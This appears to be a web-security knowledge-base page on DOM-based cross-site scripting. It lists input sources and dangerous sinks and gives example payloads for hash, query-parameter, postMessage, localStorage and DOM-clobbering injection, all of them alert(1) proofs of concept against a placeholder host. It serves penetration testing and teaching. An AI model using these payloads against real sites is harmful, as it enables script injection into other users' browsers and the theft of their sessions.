Skip to main content

DOM-Based XSS

CWECWE-79
Toolsdalfox
Difficulty🔴 advanced

Exploit DOM-Based XSS​

DOM-based XSS occurs entirely in client-side code. The server response is legitimate, but client-side JavaScript processes user input insecurely, writing it to the DOM without proper sanitization.

Technical flow:

  1. Malicious input arrives via URL fragment, query parameter, or other source
  2. Client-side JavaScript reads the input from a source
  3. JavaScript writes the input to a dangerous sink without sanitization
  4. Browser executes the payload

Sources (Where Malicious Data Enters)​

  • document.URL, document.documentURI
  • document.location (and its properties: hash, search, href, pathname)
  • document.referrer
  • window.name
  • window.postMessage data
  • localStorage / sessionStorage
  • document.cookie
  • Web Storage API, IndexedDB
  • History API (history.pushState / replaceState)
  • URL fragment (#)

Sinks (Dangerous Functions That Execute/Render Data)​

Execution Sinks (Direct Code Execution):

  • eval()
  • setTimeout(string), setInterval(string)
  • Function() constructor
  • execScript(), msSetImmediate(), setImmediate()

HTML Modification Sinks:

  • element.innerHTML, element.outerHTML
  • document.write(), document.writeln()

URL-Based Sinks:

  • location.href =, location.assign(), location.replace()
  • window.open()
  • element.src =, element.href =

jQuery Sinks:

  • $().html(), $().append(), $().prepend()
  • $().after(), $().before(), $().replaceWith()
  • $.parseHTML()

DOM XSS Payloads​

Fragment-Based (Hash) Injection:

https://target.com/page#<script>alert(1)</script>
https://target.com/page#"><img src=x onerror=alert(1)>
https://target.com/page#javascript:alert(1)

Query Parameter to DOM:

https://target.com/search?q=<script>alert(1)</script>
https://target.com/page?callback=alert
https://target.com/page?template={{constructor.constructor('alert(1)')()}}

PostMessage Exploitation:

// From attacker page, send message to vulnerable iframe
targetWindow.postMessage('<img src=x onerror=alert(1)>', '*');

Web Storage Poisoning:

// If the application reads from localStorage unsafely
localStorage.setItem('userPrefs', '<img src=x onerror=alert(1)>');
// Then navigate victim to page that reads and renders this value

DOM Clobbering:

<!-- Override JavaScript variables via DOM elements -->
<form id="config"><input name="apiUrl" value="javascript:alert(1)"></form>
<!-- If a script does: location = config.apiUrl -->